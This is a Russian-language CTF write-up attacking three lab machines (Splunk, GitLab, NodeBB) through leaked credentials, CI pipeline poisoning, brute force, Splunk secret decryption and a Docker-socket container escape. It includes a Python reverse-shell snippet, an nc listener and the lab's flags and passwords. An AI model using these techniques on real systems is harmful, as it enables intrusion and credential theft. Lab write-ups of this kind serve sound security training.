## Начальные данные Выдавался один ip адрес; Имелись сведения и суммарном количестве токенов (флагов) - 8 штук; # Машина №1 (splunk) ## Количество доступных флагов - 3 Просканив порты на выданном ip адресе можно было обнаружить пару интересных сервисов: > port 445 - **smb** port 8000 - **splunk** Шара smb была открыта с доступом guest (а так же стандартным паролем admin:admin), что позволяло безпрепятственно к ней подключиться. Внутри лежал файл **New_email.eml** внутри которого находилось информация о учетной записе и пароле: > Hi, research! > We reset you password, new pass is 953a86dc62f77ff7e74aa0251a9452e3 Подключаемся к вем-морде splunk с этими данными и получаем доступ до обычной УЗ внутри splunk. Splunk это платформа для сбора, хранения, обработки и анализа машинных данных, то есть логов. Сразу в интерфейсе видим доступное приложение Search&Reporting, заходим туда и ознакамливаемся с интерфейсом. Была возможность делать простые поисковые запросы за разный интервал времени (по умолчанию стоит 24 часа, кнопка справа позволяла выбирать интервал, в том числе All time). Необходимо было произвести поиск по ключевым словам, таким как: * key * password * token * username За счет внутренней оптимизации поиска в splunk иногда результаты на такие "сырые" запросы не выдаются, если поиск выполняется слишком долго или надо смотреть далеко "вглубь" логов. В таком случае есть два варианта решения: **1. Не самый удачный способ** Внимательно присмотревшись к интерфейсу, можно было заметить вкладку job, а раскрыв ее - можно отправить задачу в фон. Но тут есть проблема, что после завершения работы результат отправляется на почту (в данном случае research@splunk.local). Можно было в настройках аккаунта поменять почту и дождаться результата. **2. Оптимальный способ** Закинув пару запросов в гугл по типу "splunk как работать", можно было найти информацию, что splunk использует язык запросов SPL, что логи подключаются в индексы (с разными sourcetype) и можно делать оптимальные запросы (в том числе используя регулярные выражения). Что бы посмотреть какие индексы и привязанные к ним sourcetype есть, можно воспользоваться следующим запросом: | tstats values(sourcetype) where index=* group by index Таким образом мы получаем информацию, что нам доступны следующие индексы и типы данных в них: index: win; sourcetype: win_log index: web; sourcetype: apache_log index nix_other; sourcetype: linux_log И теперь можем сделать чуть более оптимальный запрос: index="nix_other" AND index="web" token Таким образом получив и первый флаг (хранимый в индексе web - **1c6d4881d856019c42d2474bc5026626** ) и апи ключ с информацией о новом хосте: Jun 20 13:37:00 curl: cURL error (60) SSL certificate problem: unable to get local issuer certificate for <ip>. Request: curl --header "PRIVATE-TOKEN: pS83VbNm8xyrNyLA42Au" "https://<ip></ip/api/v4/groups/gitlab-org>/api/v4/groups/gitlab-org" Где вместо <ip> у каждой команды был свой ip-адресс на сервер с gitlab. # Машина №2 (gitlab) ## Количество доступных флагов - 1 С помощью найденного апи-токена мы можем просмотреть список доступных нам репозиториев и другой информации: * username: *splunk_develop* * доступные репозитории (только чтение и возможность сделать fork репозитория): *splunk-apps* В репозитории лежал код приложения [dnslookup](https://github.com/aholzel/TA-dnslookup) для splunk и интересный файл .gitlab-ci.yml, из которого было понятно что для данного репозитория настроена автоматическая раскатка приложения в машину со splunk. Таким образом для получения доступа на первую машину необходимо было выполнить следующие шаги: 1. Сделать fork данного репозитория 2. В исходном коде приложения добавить вызов reverse shell 3. Запустить listener на локальной машине (требовался внешний ip адрес, можно было воспользоваться ngrok) 4. Через веб-интерфейс обратиться к нашему приложению, инициализировав его вызов и ожидать ответа Пример запуска listener: ```bash= nc -lvp 333 ``` Пример кода, который можно было добавить в dnslookup.py ```python= import socket,os,pty s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("10.20.30.40",3333)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) pty.spawn("/bin/sh")' ``` Таким образом можно было попасть на систему под учетной записью splunk и достать второй флаг, расположенный по пути /opt/splunk/secret **c5ee1c328efeae3dc37bcf1b2d07124b**. Далее можно было произвести стандартную разведку средствами linpeas/pspy64/linenum.sh или вручную найти файл с названием password.conf (внутри файла содержалась ключевая строка для поиска password и credential, которую любой из вышеперечисленных скриптов пытается найти) и увидеть там зашифрованный пароль и имя нового пользователя: [credential:gitlab:user1:] password = $7$cbu3H1NHALLW8w0ro7tRrchkqcujaWiRnZPs1KwsJ6cv+2DtY2YJDETQtOyI4uKQh/3tSbaphk60xxb Если немного погуглить - можно найти информацию, что splunk позволяет хранить различные пароли и токены в зашифрованном виде. Для этого используется специальный алгоритм шифрования и ключ, хранимый по пути /opt/splunk/etc/auth/splunk.secret Расшифровать пароль можно несколькими способами: * с помощью cli-утилиты [splunksecrets](https://github.com/HurricaneLabs/splunksecrets), вызвав команду *splunksecrets --new --splunk-secret -D --password "\$7$cbu3H1NHALLW8w0ro7tRrchkqcujaWiRnZPs1KwsJ6cv+2DtY2YJDETQtOyI4uKQh/3tSbaphk60xxb"* * через вызов команды */opt/splunk/bin/splunk show-decrypted --value "\$7$cbu3H1NHALLW8w0ro7tRrchkqcujaWiRnZPs1KwsJ6cv+2DtY2YJDETQtOyI4uKQh/3tSbaphk60xxb"* Таким образом получаем следующие данные: * username: *user1* * password: *92b390585a2c5d09ee3418b89f142d35* Пробуем эти данные для подключения к gitlab и получаем полноценный доступ с УЗ user1. Однако, если попробовать авторизоваться с этим паролем под пользователем root на первой машине в терминале через команду ```bash= su root ``` то можно так же забрать третий и последний флаг, находящийся по пути /root/secret: **466f6b49024f59cf4ee4c60fac11cfb1**, больше на этой машине (№ 1) нам ничего не пригодится. ## Альтернативный вариант решения, без использования gitlab и данных splunk_develop Определив, что на 8000 порту установлен splunk, можно было посмотреть стандартное имя пользователя - **admin**. Запустив любой [web-bruteforce](https://github.com/mlynchcogent/w3brute) со стандартными словарями (в данном случае [rockyou](https://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwjT7ra2hZ32AhXHtYsKHc2zDcoQFnoECAcQAQ&url=https%3A%2F%2Fgithub.com%2Fbrannondorsey%2Fnaive-hashcat%2Freleases%2Fdownload%2Fdata%2Frockyou.txt&usg=AOvVaw3snAERl1mU6Ccr4WFEazBd)) за небольшое количество времени можно было получить пароль от этой записи: **ashleyandtiger4ever** Если зайти на gitlab и внимательно изучить профиль - можно найти следующий флаг, находящийся в описании профиля user1: **b4900c71b8047d517a9421bbb22b97ff** Таким образом мы имеем полные права и можем исполнять любые команды внутри splunk, но самое главное - мы можем выбрать пункт **Deploy app**, что позволит нам загрузить [готовое приложение](https://github.com/TBGSecurity/splunk_shells) прямо через веб-интерфейс и так же получить доступ до пользователя *splunk* внутри машины. # Машина №3 (nodebb) ## Количество доступных флагов - 4 На данной машине был запущен форум NodeBB. Доступ к этому репозиторию был на gitlab под юзером user1. У данного пользователя был статус Developer к репозиторию nodebb. Пушить в ветку master нельзя, но можно создавать pull-реквесты, и при успешном прохождении процесса сборки, можно делать merge в master. Файл с описанием процесса сборки .gitlab-ci.yml заблокирован для редактирования. Но в стадии deploy развертывание приложения происходит через bash-скрипт, который для редактирования доступен Порядок действий такой: 1. Добавляем свой payload (с реверс-шеллом) в файл script.sh 2. Создаем merge request и ждем успшеной отработки конвейера сборки 3. Принимаем merge request в ветку master 4. На стадии deploy в консоли видно юзера и пароль админа от движка форума. Забираем на будущее 5. Пользуемся реверс-шеллом. Мы попали на машину с gitlab-runner, он запущен в виде docker-контейнера, т.е. мы не на хосте. Зато в контейнер прокинут docker.sock, а также он запущен в привилегированном режиме. По пути забираем флаг из переменных среды. Название переменной - FLAG (*126307672ce0a94780a8f5956f45204e*). Если установить библиотеку docker-py, то можно также вывести список всех запущенных контейнеров. Там виднеется наш nodebb и mongo. В переменных среды базы видно юзера-админа (root) и его пароль (*c34e03b344f06ea797e415eb7dd0e76b*) Так как мы запущены в привилегированным режиме и у нас есть доступ к docker.sock, нам не составит труда попасть на машину хоста (можно и не попадать, а просто примонтировать корень системы). Флаг лежал по адресу `/root/secret.txt` - *6185ddf323a3aa2650beb2b7f5a34e38* Мы можем узнать внешний ip машины, зайти на форум, залогиниться под кредами админа и в единственном сообщении на форуме найти последний флаг - *bfc3964d6adc0233e29247fbfff52b51*